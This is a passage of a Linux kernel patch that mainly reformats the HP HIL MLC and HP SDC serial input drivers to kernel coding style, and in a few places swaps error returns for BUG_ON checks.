 	hil_mlc_clean_serio_map(mlc);
 	return 0;
+
  err:
 	printk(KERN_ERR PREFIX "Residual device slots exhausted, close some serios!\n");
 	return 1;
 }
 
 /* An LCV used to prevent runaway loops, forces 5 second sleep when reset. */
-static int hilse_init_lcv(hil_mlc *mlc, int unused) {
+static int hilse_init_lcv(hil_mlc *mlc, int unused)
+{
 	struct timeval tv;
 
 	do_gettimeofday(&tv);
 
-	if(mlc->lcv == 0) goto restart;  /* First init, no need to dally */
-	if(tv.tv_sec - mlc->lcv_tv.tv_sec < 5) return -1;
- restart:
+	if (mlc->lcv && (tv.tv_sec - mlc->lcv_tv.tv_sec) < 5)
+		return -1;
+
 	mlc->lcv_tv = tv;
 	mlc->lcv = 0;
+
 	return 0;
 }
 
-static int hilse_inc_lcv(hil_mlc *mlc, int lim) {
-	if (mlc->lcv++ >= lim) return -1;
-	return 0;
+static int hilse_inc_lcv(hil_mlc *mlc, int lim)
+{
+	return mlc->lcv++ >= lim ? -1 : 0;
 }
 
 #if 0
-static int hilse_set_lcv(hil_mlc *mlc, int val) {
+static int hilse_set_lcv(hil_mlc *mlc, int val)
+{
 	mlc->lcv = val;
+
 	return 0;
 }
 #endif
 
 /* Management of the discovered device index (zero based, -1 means no devs) */
-static int hilse_set_ddi(hil_mlc *mlc, int val) {
+static int hilse_set_ddi(hil_mlc *mlc, int val)
+{
 	mlc->ddi = val;
 	hil_mlc_clear_di_map(mlc, val + 1);
+
 	return 0;
 }
 
-static int hilse_dec_ddi(hil_mlc *mlc, int unused) {
+static int hilse_dec_ddi(hil_mlc *mlc, int unused)
+{
 	mlc->ddi--;
 	if (mlc->ddi <= -1) {
 		mlc->ddi = -1;
@@ -284,19 +318,20 @@ static int hilse_dec_ddi(hil_mlc *mlc, i
 		return -1;
 	}
 	hil_mlc_clear_di_map(mlc, mlc->ddi + 1);
+
 	return 0;
 }
 
-static int hilse_inc_ddi(hil_mlc *mlc, int unused) {
-	if (mlc->ddi >= 6) {
-		BUG();
-		return -1;
-	}
+static int hilse_inc_ddi(hil_mlc *mlc, int unused)
+{
+	BUG_ON(mlc->ddi >= 6);
 	mlc->ddi++;
+
 	return 0;
 }
 
-static int hilse_take_idd(hil_mlc *mlc, int unused) {
+static int hilse_take_idd(hil_mlc *mlc, int unused)
+{
 	int i;
 
 	/* Help the state engine:
@@ -304,7 +339,9 @@ static int hilse_take_idd(hil_mlc *mlc, 
 	 *
 	 * Real IDD response does not start with a command.
 	 */
-	if (mlc->ipacket[0] & HIL_PKT_CMD) goto bail;
+	if (mlc->ipacket[0] & HIL_PKT_CMD)
+		goto bail;
+
 	/* Should have the command echoed further down. */
 	for (i = 1; i < 16; i++) {
 		if (((mlc->ipacket[i] & HIL_PKT_ADDR_MASK) ==
@@ -313,77 +350,91 @@ static int hilse_take_idd(hil_mlc *mlc, 
 		    ((mlc->ipacket[i] & HIL_PKT_DATA_MASK) == HIL_CMD_IDD))
 			break;
 	}
-	if (i > 15) goto bail;
+	if (i > 15)
+		goto bail;
+
 	/* And the rest of the packets should still be clear. */
-	while (++i < 16) {
-		if (mlc->ipacket[i]) break;
-	}
-	if (i < 16) goto bail;
-	for (i = 0; i < 16; i++) {
+	while (++i < 16)
+		if (mlc->ipacket[i])
+			break;
+
+	if (i < 16)
+		goto bail;
+
+	for (i = 0; i < 16; i++)
 		mlc->di_scratch.idd[i] =
 			mlc->ipacket[i] & HIL_PKT_DATA_MASK;
-	}
+
 	/* Next step is to see if RSC supported */
 	if (mlc->di_scratch.idd[1] & HIL_IDD_HEADER_RSC)
 		return HILSEN_NEXT;
+
 	if (mlc->di_scratch.idd[1] & HIL_IDD_HEADER_EXD)
 		return HILSEN_DOWN | 4;
+
 	return 0;
+
  bail:
 	mlc->ddi--;
+
 	return -1; /* This should send us off to ACF */
 }
 
-static int hilse_take_rsc(hil_mlc *mlc, int unused) {
+static int hilse_take_rsc(hil_mlc *mlc, int unused)
+{
 	int i;
 
-	for (i = 0; i < 16; i++) {
+	for (i = 0; i < 16; i++)
 		mlc->di_scratch.rsc[i] =
 			mlc->ipacket[i] & HIL_PKT_DATA_MASK;
-	}
+
 	/* Next step is to see if EXD supported (IDD has already been read) */
 	if (mlc->di_scratch.idd[1] & HIL_IDD_HEADER_EXD)
 		return HILSEN_NEXT;
+
 	return 0;
 }
 
-static int hilse_take_exd(hil_mlc *mlc, int unused) {
+static int hilse_take_exd(hil_mlc *mlc, int unused)
+{
 	int i;
 
-	for (i = 0; i < 16; i++) {
+	for (i = 0; i < 16; i++)
 		mlc->di_scratch.exd[i] =
 			mlc->ipacket[i] & HIL_PKT_DATA_MASK;
-	}
+
 	/* Next step is to see if RNM supported. */
 	if (mlc->di_scratch.exd[0] & HIL_EXD_HEADER_RNM)
 		return HILSEN_NEXT;
+
 	return 0;
 }
 
-static int hilse_take_rnm(hil_mlc *mlc, int unused) {
+static int hilse_take_rnm(hil_mlc *mlc, int unused)
+{
 	int i;
 
-	for (i = 0; i < 16; i++) {
+	for (i = 0; i < 16; i++)
 		mlc->di_scratch.rnm[i] =
 			mlc->ipacket[i] & HIL_PKT_DATA_MASK;
-	}
-	do {
-	  char nam[17];
-	  snprintf(nam, 16, "%s", mlc->di_scratch.rnm);
-	  nam[16] = '\0';
-	  printk(KERN_INFO PREFIX "Device name gotten: %s\n", nam);
-	} while (0);
+
+	printk(KERN_INFO PREFIX "Device name gotten: %16s\n",
+			mlc->di_scratch.rnm);
+
 	return 0;
 }
 
-static int hilse_operate(hil_mlc *mlc, int repoll) {
+static int hilse_operate(hil_mlc *mlc, int repoll)
+{
 
-	if (mlc->opercnt == 0) hil_mlcs_probe = 0;
+	if (mlc->opercnt == 0)
+		hil_mlcs_probe = 0;
 	mlc->opercnt = 1;
 
 	hil_mlc_send_polls(mlc);
 
-	if (!hil_mlcs_probe) return 0;
+	if (!hil_mlcs_probe)
+		return 0;
 	hil_mlcs_probe = 0;
 	mlc->opercnt = 0;
 	return 1;
@@ -530,7 +581,8 @@ const struct hilse_node hil_mlc_se[HILSE
 	/* 60 HILSEN_END */
 };
 
-static inline void hilse_setup_input(hil_mlc *mlc, const struct hilse_node *node) {
+static inline void hilse_setup_input(hil_mlc *mlc, const struct hilse_node *node)
+{
 
 	switch (node->act) {
 	case HILSE_EXPECT_DISC:
@@ -555,25 +607,25 @@ static inline void hilse_setup_input(hil
 	do_gettimeofday(&(mlc->instart));
 	mlc->icount = 15;
 	memset(mlc->ipacket, 0, 16 * sizeof(hil_packet));
-	BUG_ON(down_trylock(&(mlc->isem)));
-
-	return;
+	BUG_ON(down_trylock(&mlc->isem));
 }
 
 #ifdef HIL_MLC_DEBUG
-static int doze = 0;
+static int doze;
 static int seidx; /* For debug */
 #endif
 
-static int hilse_donode (hil_mlc *mlc) {
+static int hilse_donode(hil_mlc *mlc)
+{
 	const struct hilse_node *node;
 	int nextidx = 0;
 	int sched_long = 0;
 	unsigned long flags;
 
 #ifdef HIL_MLC_DEBUG
-	if (mlc->seidx && (mlc->seidx != seidx)  && mlc->seidx != 41 && mlc->seidx != 42 && mlc->seidx != 43) {
-	  printk(KERN_DEBUG PREFIX "z%i \n {%i}", doze, mlc->seidx);
+	if (mlc->seidx && mlc->seidx != seidx &&
+	    mlc->seidx != 41 && mlc->seidx != 42 && mlc->seidx != 43) {
+		printk(KERN_DEBUG PREFIX "z%i \n {%i}", doze, mlc->seidx);
 		doze = 0;
 	}
 
@@ -590,48 +642,57 @@ static int hilse_donode (hil_mlc *mlc) {
 		rc = node->object.func(mlc, node->arg);
 		nextidx = (rc > 0) ? node->ugly :
 			((rc < 0) ? node->bad : node->good);
-		if (nextidx == HILSEN_FOLLOW) nextidx = rc;
+		if (nextidx == HILSEN_FOLLOW)
+			nextidx = rc;
 		break;
+
 	case HILSE_EXPECT_LAST:
 	case HILSE_EXPECT_DISC:
 	case HILSE_EXPECT:
 	case HILSE_IN:
 		/* Already set up from previous HILSE_OUT_* */
-		write_lock_irqsave(&(mlc->lock), flags);
+		write_lock_irqsave(&mlc->lock, flags);
 		rc = mlc->in(mlc, node->arg);
 		if (rc == 2)  {
 			nextidx = HILSEN_DOZE;
 			sched_long = 1;
-			write_unlock_irqrestore(&(mlc->lock), flags);
+			write_unlock_irqrestore(&mlc->lock, flags);
 			break;
 		}
-		if (rc == 1)		nextidx = node->ugly;
-		else if (rc == 0)	nextidx = node->good;
-		else			nextidx = node->bad;
+		if (rc == 1)
+			nextidx = node->ugly;
+		else if (rc == 0)
+			nextidx = node->good;
+		else
+			nextidx = node->bad;
 		mlc->istarted = 0;
-		write_unlock_irqrestore(&(mlc->lock), flags);
+		write_unlock_irqrestore(&mlc->lock, flags);
 		break;
+
 	case HILSE_OUT_LAST:
-		write_lock_irqsave(&(mlc->lock), flags);
+		write_lock_irqsave(&mlc->lock, flags);
 		pack = node->object.packet;
 		pack |= ((mlc->ddi + 1) << HIL_PKT_ADDR_SHIFT);
 		goto out;
+
 	case HILSE_OUT_DISC:
-		write_lock_irqsave(&(mlc->lock), flags);
+		write_lock_irqsave(&mlc->lock, flags);
 		pack = node->object.packet;
 		pack |= ((mlc->ddi + 2) << HIL_PKT_ADDR_SHIFT);
 		goto out;
+
 	case HILSE_OUT:
-		write_lock_irqsave(&(mlc->lock), flags);
+		write_lock_irqsave(&mlc->lock, flags);
 		pack = node->object.packet;
 	out:
-		if (mlc->istarted) goto out2;
+		if (mlc->istarted)
+			goto out2;
 		/* Prepare to receive input */
 		if ((node + 1)->act & HILSE_IN)
 			hilse_setup_input(mlc, node + 1);
 
 	out2:
-		write_unlock_irqrestore(&(mlc->lock), flags);
+		write_unlock_irqrestore(&mlc->lock, flags);
 
 		if (down_trylock(&mlc->osem)) {
 			nextidx = HILSEN_DOZE;
@@ -639,37 +700,39 @@ static int hilse_donode (hil_mlc *mlc) {
 		}
 		up(&mlc->osem);
 
-		write_lock_irqsave(&(mlc->lock), flags);
-		if (!(mlc->ostarted)) {
+		write_lock_irqsave(&mlc->lock, flags);
+		if (!mlc->ostarted) {
 			mlc->ostarted = 1;
 			mlc->opacket = pack;
 			mlc->out(mlc);
 			nextidx = HILSEN_DOZE;
-			write_unlock_irqrestore(&(mlc->lock), flags);
+			write_unlock_irqrestore(&mlc->lock, flags);
 			break;
 		}
 		mlc->ostarted = 0;
 		do_gettimeofday(&(mlc->instart));
-		write_unlock_irqrestore(&(mlc->lock), flags);
+		write_unlock_irqrestore(&mlc->lock, flags);
 		nextidx = HILSEN_NEXT;
 		break;
+
 	case HILSE_CTS:
 		nextidx = mlc->cts(mlc) ? node->bad : node->good;
 		break;
+
 	default:
 		BUG();
-		nextidx = 0;
-		break;
 	}
 
 #ifdef HIL_MLC_DEBUG
-	if (nextidx == HILSEN_DOZE) doze++;
+	if (nextidx == HILSEN_DOZE)
+		doze++;
 #endif
 
 	while (nextidx & HILSEN_SCHED) {
 		struct timeval tv;
 
-		if (!sched_long) goto sched;
+		if (!sched_long)
+			goto sched;
 
 		do_gettimeofday(&tv);
 		tv.tv_usec += USEC_PER_SEC * (tv.tv_sec - mlc->instart.tv_sec);
@@ -683,16 +746,23 @@ static int hilse_donode (hil_mlc *mlc) {
 		tasklet_schedule(&hil_mlcs_tasklet);
 		break;
 	}
-	if (nextidx & HILSEN_DOWN) mlc->seidx += nextidx & HILSEN_MASK;
-	else if (nextidx & HILSEN_UP) mlc->seidx -= nextidx & HILSEN_MASK;
-	else mlc->seidx = nextidx & HILSEN_MASK;
 
-	if (nextidx & HILSEN_BREAK)	return 1;
+	if (nextidx & HILSEN_DOWN)
+		mlc->seidx += nextidx & HILSEN_MASK;
+	else if (nextidx & HILSEN_UP)
+		mlc->seidx -= nextidx & HILSEN_MASK;
+	else
+		mlc->seidx = nextidx & HILSEN_MASK;
+
+	if (nextidx & HILSEN_BREAK)
+		return 1;
+
 	return 0;
 }
 
 /******************** tasklet context functions **************************/
-static void hil_mlcs_process(unsigned long unused) {
+static void hil_mlcs_process(unsigned long unused)
+{
 	struct list_head *tmp;
 
 	read_lock(&hil_mlcs_lock);
@@ -700,19 +770,20 @@ static void hil_mlcs_process(unsigned lo
 		struct hil_mlc *mlc = list_entry(tmp, hil_mlc, list);
 		while (hilse_donode(mlc) == 0) {
 #ifdef HIL_MLC_DEBUG
-		  if (mlc->seidx != 41 &&
-		      mlc->seidx != 42 &&
-		      mlc->seidx != 43)
-		    printk(KERN_DEBUG PREFIX " + ");
+			if (mlc->seidx != 41 &&
+			    mlc->seidx != 42 &&
+			    mlc->seidx != 43)
+				printk(KERN_DEBUG PREFIX " + ");
 #endif
-		};
+		}
 	}
 	read_unlock(&hil_mlcs_lock);
 }
 
 /************************* Keepalive timer task *********************/
 
-void hil_mlcs_timer (unsigned long data) {
+void hil_mlcs_timer(unsigned long data)
+{
 	hil_mlcs_probe = 1;
 	tasklet_schedule(&hil_mlcs_tasklet);
 	/* Re-insert the periodic task. */
@@ -722,22 +793,19 @@ void hil_mlcs_timer (unsigned long data)
 
 /******************** user/kernel context functions **********************/
 
-static int hil_mlc_serio_write(struct serio *serio, unsigned char c) {
+static int hil_mlc_serio_write(struct serio *serio, unsigned char c)
+{
 	struct hil_mlc_serio_map *map;
 	struct hil_mlc *mlc;
 	struct serio_driver *drv;
 	uint8_t *idx, *last;
 
 	map = serio->port_data;
-	if (map == NULL) {
-		BUG();
-		return -EIO;
-	}
+	BUG_ON(map == NULL);
+
 	mlc = map->mlc;
-	if (mlc == NULL) {
-		BUG();
-		return -EIO;
-	}
+	BUG_ON(mlc == NULL);
+
 	mlc->serio_opacket[map->didx] |=
 		((hil_packet)c) << (8 * (3 - mlc->serio_oidx[map->didx]));
 
@@ -769,12 +837,11 @@ static int hil_mlc_serio_write(struct se
 	return -EIO;
  emu:
 	drv = serio->drv;
-	if (drv == NULL) {
-		BUG();
-		return -EIO;
-	}
+	BUG_ON(drv == NULL);
+
 	last = idx + 15;
-	while ((last != idx) && (*last == 0)) last--;
+	while ((last != idx) && (*last == 0))
+		last--;
 
 	while (idx != last) {
 		drv->interrupt(serio, 0, 0);
@@ -794,7 +861,8 @@ static int hil_mlc_serio_write(struct se
 	return 0;
 }
 
-static int hil_mlc_serio_open(struct serio *serio) {
+static int hil_mlc_serio_open(struct serio *serio)
+{
 	struct hil_mlc_serio_map *map;
 	struct hil_mlc *mlc;
 
@@ -802,33 +870,24 @@ static int hil_mlc_serio_open(struct ser
 		return -EBUSY;
 
 	map = serio->port_data;
-	if (map == NULL) {
-		BUG();
-		return -ENODEV;
-	}
+	BUG_ON(map == NULL);
+
 	mlc = map->mlc;
-	if (mlc == NULL) {
-		BUG();
-		return -ENODEV;
-	}
+	BUG_ON(mlc == NULL);
 
 	return 0;
 }
 
-static void hil_mlc_serio_close(struct serio *serio) {
+static void hil_mlc_serio_close(struct serio *serio)
+{
 	struct hil_mlc_serio_map *map;
 	struct hil_mlc *mlc;
 
 	map = serio->port_data;
-	if (map == NULL) {
-		BUG();
-		return;
-	}
+	BUG_ON(map == NULL);
+
 	mlc = map->mlc;
-	if (mlc == NULL) {
-		BUG();
-		return;
-	}
+	BUG_ON(mlc == NULL);
 
 	serio_set_drvdata(serio, NULL);
 	serio->drv = NULL;
@@ -842,27 +901,26 @@ static const struct serio_device_id hil_
 	.id = SERIO_ANY,
 };
 
-int hil_mlc_register(hil_mlc *mlc) {
+int hil_mlc_register(hil_mlc *mlc)
+{
 	int i;
-        unsigned long flags;
+	unsigned long flags;
 
-	if (mlc == NULL) {
-		return -EINVAL;
-	}
+	BUG_ON(mlc == NULL);
 
 	mlc->istarted = 0;
-        mlc->ostarted = 0;
+	mlc->ostarted = 0;
 
-        rwlock_init(&mlc->lock);
-        init_MUTEX(&(mlc->osem));
+	rwlock_init(&mlc->lock);
+	init_MUTEX(&mlc->osem);
 
-        init_MUTEX(&(mlc->isem));
-        mlc->icount = -1;
-        mlc->imatch = 0;
+	init_MUTEX(&mlc->isem);
+	mlc->icount = -1;
+	mlc->imatch = 0;
 
 	mlc->opercnt = 0;
 
-        init_MUTEX_LOCKED(&(mlc->csem));
+	init_MUTEX_LOCKED(&(mlc->csem));
 
 	hil_mlc_clear_di_scratch(mlc);
 	hil_mlc_clear_di_map(mlc, 0);
@@ -897,19 +955,18 @@ int hil_mlc_register(hil_mlc *mlc) {
 	return 0;
 }
 
-int hil_mlc_unregister(hil_mlc *mlc) {
+int hil_mlc_unregister(hil_mlc *mlc)
+{
 	struct list_head *tmp;
-        unsigned long flags;
+	unsigned long flags;
 	int i;
 
-	if (mlc == NULL)
-		return -EINVAL;
+	BUG_ON(mlc == NULL);
 
 	write_lock_irqsave(&hil_mlcs_lock, flags);
-	list_for_each(tmp, &hil_mlcs) {
+	list_for_each(tmp, &hil_mlcs)
 		if (list_entry(tmp, hil_mlc, list) == mlc)
 			goto found;
-	}
 
 	/* not found in list */
 	write_unlock_irqrestore(&hil_mlcs_lock, flags);
@@ -918,7 +975,7 @@ int hil_mlc_unregister(hil_mlc *mlc) {
 
  found:
 	list_del(tmp);
-        write_unlock_irqrestore(&hil_mlcs_lock, flags);
+	write_unlock_irqrestore(&hil_mlcs_lock, flags);
 
 	for (i = 0; i < HIL_MLC_DEVMEM; i++) {
 		serio_unregister_port(mlc->serio[i]);
@@ -942,7 +999,7 @@ static int __init hil_mlc_init(void)
 
 	return 0;
 }
-         
+
 static void __exit hil_mlc_exit(void)
 {
 	del_timer(&hil_mlcs_kicker);
diff --git a/drivers/input/serio/hp_sdc.c b/drivers/input/serio/hp_sdc.c
index 37dae19..155f539 100644
--- a/drivers/input/serio/hp_sdc.c
+++ b/drivers/input/serio/hp_sdc.c
@@ -106,33 +106,39 @@ EXPORT_SYMBOL(hp_sdc_dequeue_transaction
 static hp_i8042_sdc	hp_sdc;	/* All driver state is kept in here. */
 
 /*************** primitives for use in any context *********************/
-static inline uint8_t hp_sdc_status_in8 (void) {
+static inline uint8_t hp_sdc_status_in8(void)
+{
 	uint8_t status;
 	unsigned long flags;
 
 	write_lock_irqsave(&hp_sdc.ibf_lock, flags);
 	status = sdc_readb(hp_sdc.status_io);
-	if (!(status & HP_SDC_STATUS_IBF)) hp_sdc.ibf = 0;
+	if (!(status & HP_SDC_STATUS_IBF))
+		hp_sdc.ibf = 0;
 	write_unlock_irqrestore(&hp_sdc.ibf_lock, flags);
 
 	return status;
 }
 
-static inline uint8_t hp_sdc_data_in8 (void) {
+static inline uint8_t hp_sdc_data_in8(void)
+{
 	return sdc_readb(hp_sdc.data_io);
 }
 
-static inline void hp_sdc_status_out8 (uint8_t val) {
+static inline void hp_sdc_status_out8(uint8_t val)
+{
 	unsigned long flags;
 
 	write_lock_irqsave(&hp_sdc.ibf_lock, flags);
 	hp_sdc.ibf = 1;
-	if ((val & 0xf0) == 0xe0) hp_sdc.wi = 0xff;
+	if ((val & 0xf0) == 0xe0)
+		hp_sdc.wi = 0xff;
 	sdc_writeb(val, hp_sdc.status_io);
 	write_unlock_irqrestore(&hp_sdc.ibf_lock, flags);
 }
 
-static inline void hp_sdc_data_out8 (uint8_t val) {
+static inline void hp_sdc_data_out8(uint8_t val)
+{
 	unsigned long flags;
 
 	write_lock_irqsave(&hp_sdc.ibf_lock, flags);
@@ -145,7 +151,8 @@ static inline void hp_sdc_data_out8 (uin
  *	absolutely needed, or in rarely invoked subroutines.
  *	Not only does it waste CPU cycles, it also wastes bus cycles.
  */
-static inline void hp_sdc_spin_ibf(void) {
+static inline void hp_sdc_spin_ibf(void)
+{
 	unsigned long flags;
 	rwlock_t *lock;
 
@@ -158,14 +165,16 @@ static inline void hp_sdc_spin_ibf(void)
 	}
 	read_unlock(lock);
 	write_lock(lock);
-	while (sdc_readb(hp_sdc.status_io) & HP_SDC_STATUS_IBF) {};
+	while (sdc_readb(hp_sdc.status_io) & HP_SDC_STATUS_IBF)
+		{ }
 	hp_sdc.ibf = 0;
 	write_unlock_irqrestore(lock, flags);
 }
 
 
 /************************ Interrupt context functions ************************/
-static void hp_sdc_take (int irq, void *dev_id, uint8_t status, uint8_t data) {
+static void hp_sdc_take(int irq, void *dev_id, uint8_t status, uint8_t data)
+{
 	hp_sdc_transaction *curr;
 
 	read_lock(&hp_sdc.rtq_lock);
@@ -183,13 +192,14 @@ static void hp_sdc_take (int irq, void *
 
 	if (hp_sdc.rqty <= 0) {
 		/* All data has been gathered. */
-		if(curr->seq[curr->actidx] & HP_SDC_ACT_SEMAPHORE) {
-			if (curr->act.semaphore) up(curr->act.semaphore);
-		}
-		if(curr->seq[curr->actidx] & HP_SDC_ACT_CALLBACK) {
+		if (curr->seq[curr->actidx] & HP_SDC_ACT_SEMAPHORE)
+			if (curr->act.semaphore)
+				up(curr->act.semaphore);
+
+		if (curr->seq[curr->actidx] & HP_SDC_ACT_CALLBACK)
 			if (curr->act.irqhook)
 				curr->act.irqhook(irq, dev_id, status, data);
-		}
+
 		curr->actidx = curr->idx;
 		curr->idx++;
 		/* Return control of this transaction */
@@ -201,7 +211,8 @@ static void hp_sdc_take (int irq, void *
 	}
 }
 
-static irqreturn_t hp_sdc_isr(int irq, void *dev_id) {
+static irqreturn_t hp_sdc_isr(int irq, void *dev_id)
+{
 	uint8_t status, data;
 
 	status = hp_sdc_status_in8();
@@ -209,13 +220,13 @@ static irqreturn_t hp_sdc_isr(int irq, v
 	data =   hp_sdc_data_in8();
 
 	/* For now we are ignoring these until we get the SDC to behave. */
-	if (((status & 0xf1) == 0x51) && data == 0x82) {
-	  return IRQ_HANDLED;
-	}
+	if (((status & 0xf1) == 0x51) && data == 0x82)
+		return IRQ_HANDLED;
 
 	switch(status & HP_SDC_STATUS_IRQMASK) {
 	      case 0: /* This case is not documented. */
 		break;
+
 	      case HP_SDC_STATUS_USERTIMER:
 	      case HP_SDC_STATUS_PERIODIC:
 	      case HP_SDC_STATUS_TIMER:
@@ -224,9 +235,11 @@ static irqreturn_t hp_sdc_isr(int irq, v
 			hp_sdc.timer(irq, dev_id, status, data);
 		read_unlock(&hp_sdc.hook_lock);
 		break;
+
 	      case HP_SDC_STATUS_REG:
 		hp_sdc_take(irq, dev_id, status, data);
 		break;
+
 	      case HP_SDC_STATUS_HILCMD:
 	      case HP_SDC_STATUS_HILDATA:
 		read_lock(&hp_sdc.hook_lock);
@@ -234,13 +247,16 @@ static irqreturn_t hp_sdc_isr(int irq, v
 			hp_sdc.hil(irq, dev_id, status, data);
 		read_unlock(&hp_sdc.hook_lock);
 		break;
+
 	      case HP_SDC_STATUS_PUP:
 		read_lock(&hp_sdc.hook_lock);
 		if (hp_sdc.pup != NULL)
 			hp_sdc.pup(irq, dev_id, status, data);
-		else printk(KERN_INFO PREFIX "HP SDC reports successful PUP.\n");
+		else
+			printk(KERN_INFO PREFIX "HP SDC reports successful PUP.\n");
 		read_unlock(&hp_sdc.hook_lock);
 		break;
+
 	      default:
 		read_lock(&hp_sdc.hook_lock);
 		if (hp_sdc.cooked != NULL)
@@ -248,11 +264,13 @@ static irqreturn_t hp_sdc_isr(int irq, v
 		read_unlock(&hp_sdc.hook_lock);
 		break;
 	}
+
 	return IRQ_HANDLED;
 }
 
 
-static irqreturn_t hp_sdc_nmisr(int irq, void *dev_id) {
+static irqreturn_t hp_sdc_nmisr(int irq, void *dev_id)
+{
 	int status;
 	
 	status = hp_sdc_status_in8();
@@ -264,12 +282,12 @@ static irqreturn_t hp_sdc_nmisr(int irq,
 	      	if (hp_sdc.timer != NULL)
 			hp_sdc.timer(irq, dev_id, status, 0);
 		read_unlock(&hp_sdc.hook_lock);
-	}
-	else {
+	} else {
 		/* TODO: pass this on to the HIL handler, or do SAK here? */
 		printk(KERN_WARNING PREFIX "HIL NMI\n");
 	}
 #endif
+
 	return IRQ_HANDLED;
 }
 
@@ -278,13 +296,17 @@ static irqreturn_t hp_sdc_nmisr(int irq,
 
 unsigned long hp_sdc_put(void);
 
-static void hp_sdc_tasklet(unsigned long foo) {
-
+static void hp_sdc_tasklet(unsigned long foo)
+{
 	write_lock_irq(&hp_sdc.rtq_lock);
+
 	if (hp_sdc.rcurr >= 0) {
 		struct timeval tv;
+
 		do_gettimeofday(&tv);
-		if (tv.tv_sec > hp_sdc.rtv.tv_sec) tv.tv_usec += 1000000;
+		if (tv.tv_sec > hp_sdc.rtv.tv_sec)
+			tv.tv_usec += USEC_PER_SEC;
+
 		if (tv.tv_usec - hp_sdc.rtv.tv_usec > HP_SDC_MAX_REG_DELAY) {
 			hp_sdc_transaction *curr;
 			uint8_t tmp;
@@ -300,17 +322,18 @@ static void hp_sdc_tasklet(unsigned long
 			hp_sdc.rqty = 0;
 			tmp = curr->seq[curr->actidx];
 			curr->seq[curr->actidx] |= HP_SDC_ACT_DEAD;
-			if(tmp & HP_SDC_ACT_SEMAPHORE) {
+			if (tmp & HP_SDC_ACT_SEMAPHORE)
 				if (curr->act.semaphore)
 					up(curr->act.semaphore);
-			}
-			if(tmp & HP_SDC_ACT_CALLBACK) {
+
+			if (tmp & HP_SDC_ACT_CALLBACK) {
 				/* Note this means that irqhooks may be called
 				 * in tasklet/bh context.
 				 */
 				if (curr->act.irqhook)
 					curr->act.irqhook(0, NULL, 0, 0);
 			}
+
 			curr->actidx = curr->idx;
 			curr->idx++;
 			hp_sdc.rcurr = -1;
@@ -320,7 +343,8 @@ static void hp_sdc_tasklet(unsigned long
 	hp_sdc_put();
 }
 
-unsigned long hp_sdc_put(void) {
+unsigned long hp_sdc_put(void)
+{
 	hp_sdc_transaction *curr;
 	uint8_t act;
 	int idx, curridx;
@@ -333,19 +357,24 @@ unsigned long hp_sdc_put(void) {
 	   requires output, so we skip to the administrativa. */
 	if (hp_sdc.ibf) {
 		hp_sdc_status_in8();
-		if (hp_sdc.ibf) goto finish;
+		if (hp_sdc.ibf)
+			goto finish;
 	}
 
  anew:
 	/* See if we are in the middle of a sequence. */
-	if (hp_sdc.wcurr < 0) hp_sdc.wcurr = 0;
+	if (hp_sdc.wcurr < 0)
+		hp_sdc.wcurr = 0;
 	read_lock_irq(&hp_sdc.rtq_lock);
-	if (hp_sdc.rcurr == hp_sdc.wcurr) hp_sdc.wcurr++;
+	if (hp_sdc.rcurr == hp_sdc.wcurr)
+		hp_sdc.wcurr++;
 	read_unlock_irq(&hp_sdc.rtq_lock);
-	if (hp_sdc.wcurr >= HP_SDC_QUEUE_LEN) hp_sdc.wcurr = 0;
+	if (hp_sdc.wcurr >= HP_SDC_QUEUE_LEN)
+		hp_sdc.wcurr = 0;
 	curridx = hp_sdc.wcurr;
 
-	if (hp_sdc.tq[curridx] != NULL) goto start;
+	if (hp_sdc.tq[curridx] != NULL)
+		goto start;
 
 	while (++curridx != hp_sdc.wcurr) {
 		if (curridx >= HP_SDC_QUEUE_LEN) {
@@ -358,7 +387,8 @@ unsigned long hp_sdc_put(void) {
 			continue;
 		}
 		read_unlock_irq(&hp_sdc.rtq_lock);
-		if (hp_sdc.tq[curridx] != NULL) break; /* Found one. */
+		if (hp_sdc.tq[curridx] != NULL)
+			break; /* Found one. */
 	}
 	if (curridx == hp_sdc.wcurr) { /* There's nothing queued to do. */
 		curridx = -1;
@@ -374,7 +404,8 @@ unsigned long hp_sdc_put(void) {
 		goto finish;
 	}
 
-	if (hp_sdc.wcurr == -1) goto done;
+	if (hp_sdc.wcurr == -1)
+		goto done;
 
 	curr = hp_sdc.tq[curridx];
 	idx = curr->actidx;
@@ -383,7 +414,8 @@ unsigned long hp_sdc_put(void) {
 		hp_sdc.tq[curridx] = NULL;
 		/* Interleave outbound data between the transactions. */
 		hp_sdc.wcurr++;
-		if (hp_sdc.wcurr >= HP_SDC_QUEUE_LEN) hp_sdc.wcurr = 0;
+		if (hp_sdc.wcurr >= HP_SDC_QUEUE_LEN)
+			hp_sdc.wcurr = 0;
 		goto finish;	
 	}
 
@@ -391,11 +423,13 @@ unsigned long hp_sdc_put(void) {
 	idx++;
 
 	if (curr->idx >= curr->endidx) {
-		if (act & HP_SDC_ACT_DEALLOC) kfree(curr);
+		if (act & HP_SDC_ACT_DEALLOC)
+			kfree(curr);
 		hp_sdc.tq[curridx] = NULL;
 		/* Interleave outbound data between the transactions. */
 		hp_sdc.wcurr++;
-		if (hp_sdc.wcurr >= HP_SDC_QUEUE_LEN) hp_sdc.wcurr = 0;
+		if (hp_sdc.wcurr >= HP_SDC_QUEUE_LEN)
+			hp_sdc.wcurr = 0;
 		goto finish;	
 	}
 
@@ -409,9 +443,10 @@ unsigned long hp_sdc_put(void) {
 		curr->idx++;
 		/* act finished? */
 		if ((act & HP_SDC_ACT_DURING) == HP_SDC_ACT_PRECMD)
-		  goto actdone;
+			goto actdone;
 		/* skip quantity field if data-out sequence follows. */
-		if (act & HP_SDC_ACT_DATAOUT) curr->idx++;
+		if (act & HP_SDC_ACT_DATAOUT)
+			curr->idx++;
 		goto finish;
 	}
 	if (act & HP_SDC_ACT_DATAOUT) {
@@ -430,8 +465,8 @@ unsigned long hp_sdc_put(void) {
 		}
 		idx += qty;
 		act &= ~HP_SDC_ACT_DATAOUT;
-	}
-	else while (act & HP_SDC_ACT_DATAREG) {
+	} else
+	    while (act & HP_SDC_ACT_DATAREG) {
 		int mask;
 		uint8_t w7[4];
 
@@ -456,15 +491,19 @@ unsigned long hp_sdc_put(void) {
 			int i = 0;
 
 			/* Need to point the write index register */	
-			while ((i < 4) && w7[i] == hp_sdc.r7[i]) i++;
+			while ((i < 4) && w7[i] == hp_sdc.r7[i])
+				i++;
+
 			if (i < 4) {
 				hp_sdc_status_out8(HP_SDC_CMD_SET_D0 + i);
 				hp_sdc.wi = 0x70 + i;
 				goto finish;
 			}
+
 			idx++;
 			if ((act & HP_SDC_ACT_DURING) == HP_SDC_ACT_DATAREG)
 				goto actdone;
+
 			curr->idx = idx;
